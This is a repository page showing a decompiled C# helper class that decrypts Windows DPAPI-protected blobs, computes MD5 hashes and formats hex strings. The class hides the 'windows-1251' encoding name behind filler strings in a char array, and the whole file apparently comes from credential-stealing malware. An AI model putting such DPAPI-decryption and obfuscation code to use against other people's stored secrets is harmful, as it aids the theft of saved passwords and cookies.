Repository navigation
Expand file tree
/
Copy pathCryptoHelper.cs
More file actions
137 lines (133 loc) · 3.01 KB
/
Copy pathCryptoHelper.cs
File metadata and controls
137 lines (133 loc) · 3.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
// Token: 0x02000008 RID: 8
public static class CryptoHelper
{
// Token: 0x0600002C RID: 44 RVA: 0x0000A344 File Offset: 0x00008544
public static string Read(string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null)
{
string result;
try
{
Encoding encoding = Encoding.GetEncoding(new string(new char[]
{
'w',
'i',
'A',
'r',
'r',
'a',
'y',
'n',
'd',
'o',
'w',
's',
'-',
'1',
'2',
'A',
'r',
'r',
'a',
'y',
'5',
'1'
}).Replace("Array", string.Empty));
byte[] bytes = encoding.GetBytes(EncryptedData);
byte[] bytes2 = CryptoHelper.DecryptBlob(bytes, dataProtectionScope, entropy);
string @string = Encoding.UTF8.GetString(bytes2);
result = @string;
}
catch
{
bool flag = EncryptedData.ToCharArray().Any((char x) => !char.IsDigit(x));
if (flag)
{
result = null;
}
else
{
result = EncryptedData;
}
}
return result;
}
// Token: 0x0600002D RID: 45 RVA: 0x0000A3F4 File Offset: 0x000085F4
public static byte[] DecryptBlob(byte[] EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null)
{
byte[] result;
try
{
bool flag = EncryptedData == null || EncryptedData.Length == 0;
if (flag)
{
result = null;
}
else
{
result = ProtectedData.Unprotect(EncryptedData, entropy, dataProtectionScope);
}
}
catch (Exception ex)
{
bool flag2 = Encoding.UTF8.GetString(EncryptedData).ToCharArray().Any((char x) => !char.IsDigit(x));
if (flag2)
{
result = null;
}
else
{
result = EncryptedData;
}
}
return result;
}
// Token: 0x0600002E RID: 46 RVA: 0x0000A478 File Offset: 0x00008678
public static string CalcM5(string source)
{
MD5 md = new MD5CryptoServiceProvider();
byte[] bytes = Encoding.ASCII.GetBytes(source);
return CryptoHelper.GetHexString(md.ComputeHash(bytes)).Replace("-", string.Empty);
}
// Token: 0x0600002F RID: 47 RVA: 0x0000A4B8 File Offset: 0x000086B8
private static string GetHexString(IList<byte> bt)
{
string text = string.Empty;
for (int i = 0; i < bt.Count; i++)
{
byte b = bt[i];
int num = (int)b;
int num2 = num & 15;
int num3 = num >> 4 & 15;
bool flag = num3 > 9;
if (flag)
{
text += ((char)(num3 - 10 + 65)).ToString(CultureInfo.InvariantCulture);
}
else
{
text += num3.ToString(CultureInfo.InvariantCulture);
}
bool flag2 = num2 > 9;
if (flag2)
{
text += ((char)(num2 - 10 + 65)).ToString(CultureInfo.InvariantCulture);
}
else
{
text += num2.ToString(CultureInfo.InvariantCulture);
}
bool flag3 = i + 1 != bt.Count && (i + 1) % 2 == 0;
if (flag3)
{
text += "-";
}
}
return text;
}
}